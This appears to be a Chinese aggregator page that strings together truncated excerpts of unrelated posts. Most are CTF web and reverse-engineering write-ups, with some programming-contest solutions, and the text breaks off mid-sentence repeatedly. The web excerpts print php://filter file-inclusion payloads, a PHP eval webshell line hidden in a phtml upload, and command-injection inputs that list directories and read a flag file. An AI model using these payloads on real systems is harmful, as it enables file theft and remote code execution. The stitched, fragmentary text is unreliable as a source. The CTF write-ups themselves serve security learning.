[ACTF2020 新生赛]Include】的更多相关文章

0x00 知识点 本地文件包含 ?file=php://filter/read/convert.base64-encode/resource=index.php ?file=php://filter/read/convert.base64-encode/resource=flag.php 0x01 解题…
本题主要考查了利用php://filter伪协议进行文件包含 进入题目根据Tip进入正题,可以看到URL中存在文件包含(题目名也很直接) 首先考虑 "php://input"伪协议 + POST发送PHP代码 的经典套路 重新考虑之后使用 "php://filter"伪协议" 来进行包含.当它与包含函数结合时,php://filter流会被当作php文件执行.所以我们一般对其进行编码,阻止其不执行.从而导致任意文件读取. 构造Payload: ?file=…
[ACTF2020 新生赛]BackupFile 尝试找到源代码,加上题目是备份文件,猜测备份文件里面有网站的源代码,御剑扫描一下,就扫到index.php 访问index.php.bak 下载源代码: <?php include_once "flag.php"; if(isset($_GET['key'])) { $key = $_GET['key']; if(!is_numeric($key)) { exit("Just num!"); } $key =…
0x00 知识点 emm常规上传题目 之前写的文件上传文章: https://www.cnblogs.com/wangtanzhi/p/12243206.html 0x01 解题 简单测试一下就getshell了:…
0x00 知识点 备份文件 index.php.bak str弱相等被转化为整型 0x01解题 根据提示下载备份文件得到源码 看到==弱相等 且被强制转为整型 http://7d5cccc5-4ecd-44b2-8674-d015237e419a.node3.buuoj.cn/?key=123…
0x00 知识点 命令执行 这里见了太多了..以前也写过: https://www.cnblogs.com/wangtanzhi/p/12246386.html 命令执行的方法大抵是加上管道符或者分号 0x01 解题 最简单的命令执行了,啥也没过滤,一开始 127.0.0.1|ls 发现没有flag关键字,尝试了一下没有任何过滤,直接解:…
两道题都比较简单,所以放到一块记下来吧,不是水博客,师傅们轻点打 BackupFile 题目提示“Try to find out source file!”,访问备份文件/index.php.bak获得index.php源码(其实这里还试了一小会,本来以为是www.zip.bak.zip之类的,最后才想到.bak文件备份) <?php include_once "flag.php"; if(isset($_GET['key'])) { $key = $_GET['key']; i…
简单的上传题,考察绕过前端Js验证,phtml拓展名的应用 打开题目点亮小灯泡后可以看到一个上传点 传一个php测试一下: 发现有文件拓展名检查,F12发现是Js前端验证: 审查元素直接删掉,继续上传PHP文件测试: 发现还是被过滤了,应该是后端还有一次验证,换成phtml文件测试,phtml文件代码如下: GIF89a //习惯在文件前加上GIF89a来绕过PHP getimagesize的检查,这道题中有无皆可 <script language='php'>@eval($_POST['ye…
baidu.com & ls .. baidu.com & ls ../.. baidu.com & ls ../../.. 发现flag 查看 baidu.com & cat ../../../flag…
新生初赛题目.解题思路.参考代码一览 1001. 无聊的日常 Problem Description 两位小朋友小A和小B无聊时玩了个游戏,在限定时间内说出一排数字,那边说出的数大就赢,你的工作是帮他们统计他们获胜的次数. Input 第一行是一个T,代表游戏的次数T(T≤1000).每组两个整数p,y(1≤p≤\(10^{100}\),1≤y≤\(10^{100}\)),分别表示两位小朋友说出的数字. Output 输出两个数,A和B获胜的次数.后面没有换行,仅此一题 Sample Input…
        题目大意:一个$N$$\times$$N$的阵列,每个格子有$X_{ij}$个调和之音,若每次只能选择走右边或下边,从左上角出发走到右下角,问最多能收集到多少个调和之音?         这题是一道很很很简单的DP题,但可能之前没接触过的同学需要一点脑能量去思考..如果用最蠢的办法,循环枚举每种选择,求出最大值的话,由于你总共需要往右走$N-1$次,往下走$N-1$次,路径总长度为$2N-2$,根据组合数学,总共有$C_{2N-2}^{N-1}$种走法,想想$C_{1998}^{…
A. Vicious Keyboard time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output Tonio has a keyboard with only two letters, "V" and "K". One day, he has typed out a string s with only t…
[ACTF新生赛2020]Oruga 附件 步骤: 例行检查,64位程序,无壳 64位ida载入,检索字符串,根据提示来到关键函数 14行~18行就是让字符串的前5位是 actf{ ,sub_78A()是关键函数,分析可知应该是迷宫 byte_201020(推荐在16进制界面查看),查看迷宫图形 这个移动方法有点意思,从左上角去往!,点代表路,其他符号是障碍物,点的时候会一直走,遇到障碍物才会停下,手动走一下 flag{MEWEMEWJMEWJM}…
[ACTF新生赛2020]usualCrypt 附件 步骤: 例行检查,无壳,32位程序 32位ida载入,直接看main函数 逻辑很简单,一开始让我们输入一个字符串,然后该字符串经过sub_401080()函数加密,加密后得到byte_40E0E4里面的数据zMXHz3TIgnxLxJhFAdtZn2fFk3lYCrtPC2l9 看一下sub_401080函数 头部有一个sub_401000函数,中间看运算特征码可以判断是base64加密,尾部一个sub_401030函数 先从sub_4010…
[ACTF新生赛2020]rome 附件 步骤 无壳,32位程序 32位ida载入,根据提示字符串"You are correct!",找到关键函数func v15 = 'Q'; v16 = 's'; v17 = 'w'; v18 = '3'; v19 = 's'; v20 = 'j'; v21 = '_'; v22 = 'l'; v23 = 'z'; v24 = '4'; v25 = '_'; v26 = 'U'; v27 = 'j'; v28 = 'w'; v29 = '@'; v…
[ACTF新生赛2020]easyre 附件 步骤 查壳,32位程序,upx壳儿 脱完壳儿,扔进ida 分析 一开始给我们定义了一个数组, v4=[42,70,39,34,78,44,34,40,73, 63, 43, 64] 之后让我们输入一个字符串,根据43行的if判断可以知道我们输入的字符串的开头是ACT{},就是flag 根据48行的if判断可知.ACT{}括号里的值长度为12,v4=byte_402000[输入的数组的每一位值-1] 在ida里可以看到byte_402000数组的值 根…
新生初赛题目.解题思路.参考代码一览 A. 拒绝虐狗 Problem Description CZJ 去排队打饭的时候看到前面有几对情侣秀恩爱,作为单身狗的 CZJ 表示很难受. 现在给出一个字符串代表 CZJ 前面的队列.你可以帮他一把把那些情侣分开吗? Input 第一行是一个\(T\),代表数据的组数\(T\)(\(T\leq 100\)). 每组一个只包含大写字母的字符串\(p\)(\(1\leq len_{p}\leq 1000\)),表示 CZJ 前面的队列,保证不会有连续三个及以上…
        题目链接详见SCNU 2015新生网络赛 1007. ZLM的扑克牌 .         其实我在想这题的时候,还想过要不要设置求最小的排列,并且对于回文数字的话,可以把扑克牌折起来(从而这个数字会变小):甚至要不要设置扑克牌旋转.翻转之后,读出的数字要改变.但这样的话好像我也不会做辣!= =|||于是这道题目最后就变成了一个简单贪心题.题目大意大概就是这样的:给出一个包含$n$个数字的多重集,要求使用集合中的元素拼凑出一个最大的数字,问最大所能拼凑出的数字是多少?       …
        题目链接详见SCNU 2015新生网络赛 1006. 3D打印 .出题思路来自codevs 3288. 积木大赛,属于模拟题.         首先我们把“选择从第L部分到第R部分”理解为“选择一段连续的部分”,OK,基本题意为:给定N个部件的高度,每次可以给连续的一段增加高度$1$,问至少需要几次增加高度的操作?         不少人认为,直接模拟这个操作,循环给它$+1$,数加几次能达到要求高度就可以了.但很可惜这是会超时TLE哒.我们考虑极端情况,总共有$10^{5}$个…
题目:L-歪脖子树下的灯_2021年广东工业大学第11届腾讯杯新生程序设计竞赛(同步赛) (nowcoder.com) 比赛的时候没往dp这方面想(因为之前初赛和月赛数学题太多了啊),因此只往组合数学方面想了,还想错了...... dp做法(应该算是dp): 因为一开始灯是灭的,所以在按下第一次按钮时开灯概率等于成功概率 dp[1] = p : 对于第二次按按钮,开灯的概率 ==  前一次开灯失败 * 开灯成功 + 前一次开灯成功 * 开灯失败 也就是         dp[i] = (1 -…
1.b^3 - a^3 = c(zy) zy说要卡nlogn的,然而他实际给的组数只有100组,然后因为在windows下随机的,所以给出的 c <= 100000.然后只要胆子大.... 通过打表发现,x^3-(x-1)^3 <= 1e9, x的最大值是18258 然后我们用一个数组去记录 2^3-1^3, 3^3-2^3, 4^3-3^3, ...., 18258^3-18257^3 对于c, 用尺取去判断就好了 #include<bits/stdc++.h> using na…
        题目1001:       大意:已知$n$个角色,$m$种怪物种族,$k$个怪物,给出一组角色编号,编号$P_{i}$的角色能肝死编号$i$的怪物,对于给定的一组怪物编号,为了打通关,求切换角色的次数.另外初始默认第$1$个角色上场.       思路:模拟水题,没啥好说的,先随便弄个数组比如叫$monitors$,于是$monitors[i]$$=$$P_{i}$,然后去肝那群怪,初始变量$actor$$=$$1$,循环每次读一个怪物编号$x$,如果$monitors[x]$…
Problem B Time Limit : 2000/1000ms (Java/Other)   Memory Limit : 32768/32768K (Java/Other) Total Submission(s) : 39   Accepted Submission(s) : 7 Font: Times New Roman | Verdana | Georgia Font Size: ← → Problem Description 丁磊同志是163网站CEO,三十多岁了,为了促进中国的养…
http://acm.hzau.edu.cn/problem.php?id=1099 题意: 输入两个整数 l 和 n,代表半径和output的保留小数点位数. 输出圆的面积,保留n位小数. 一开始觉得用抑制符就可以了,然后发现它保留的时候会四舍五入,所以不行. 知识主要用到了floor函数(返回不大于传参值的最大整数(double)类型)以及sprintf. AC代码: #include <stdio.h> #include <string.h> #include <mat…
问题 L: 寄蒜几盒? 题目描述 现在有一个圆圈,圆圈上有若干个点,请判断能否在若干个点中选择三个点两两相连组成一个等边三角形? 这若干个点在圆圈上按顺时针顺序分布. 如果可以的话输出"Yes"(不含引号) 不可以的话输出"No"(不含引号) 输入 第一行一个整数n,表示圆圈上有n个点 第二行n个整数,分别表示第1个点与第2个点之间圆弧的长度.第2个点与第3个点之间圆弧的长度······第n个点与第1个点之间圆弧的长度 <= n <= ^ <= x…
链接:https://ac.nowcoder.com/acm/contest/547/E 来源:牛客网 题目描述 旅行商来到了一个新的国家,这个国家有N个城市,他们直接由N-1条道路相连接,每条道路的长度不尽相同 旅行商现在在1号城市,若他要每一个城市都游览一遍,他需要行走的最短路程是多少? 输入描述: 第一行一个数N (50000>N>1) 代表城市个数 之后N-1行 每行三个数x y z 代表从x到y的距离为z 输出描述: 输出最小距离 示例1 输入 3 1 2 1 1 3 1 输出 3…
一名大三older 希望能帮助大一萌新...加油 xiandianer!!!!; xdoj 1260 (B) 水题 用了一下STL (好长啊...) #include<iostream> #include<cstdio> #include<algorithm> #include<map> using namespace std; ; struct T{ string suj; double p; bool operator <(const T&…
https://www.nowcoder.com/acm/contest/127/L L 小小粉刷匠 题目描述 "lalala,我是一个快乐的粉刷匠",小名一边快活地唱着歌,一边开心地刷着墙",兴致突然被打断,"小名,你今天如果刷不完这一栋楼的墙,那么你就等着被炒鱿鱼吧",老板声嘶力竭的吼着.苦恼的小名因为不想被炒鱿鱼,所以希望尽量快地刷完墙,由于他本人的数学基础很差,他现在请你来帮助他计算最少完成每一堵墙需要刷多少次.每一面墙有n个段,对于每个段指定一个…
思路: 很简单的一个状态压缩,比赛时没想出来. 最多只有2^10个状态,n^2暴力一下也就1e6. 代码: #include<bits/stdc++.h> using namespace std; #define ll long long #define pb push_back #define mem(a,b) memset(a,b,sizeof(a)) ; ]; ll a[N]; void f(ll n) { ; while(n) { t|=(<<(n%)); n/=; } c…
思路: 先n^3预处理出每个点能到达的(1010串)最上面的行下标. 然后再n^3暴力一下,对于每个点,往左走看能走到哪,边走边更新面积. 代码: #include<bits/stdc++.h> using namespace std; #define ll long long #define pb push_back #define mem(a,b) memset(a,b,sizeof(a)) ; const int INF=0x3f3f3f3f; int mp[N][N]; int suf…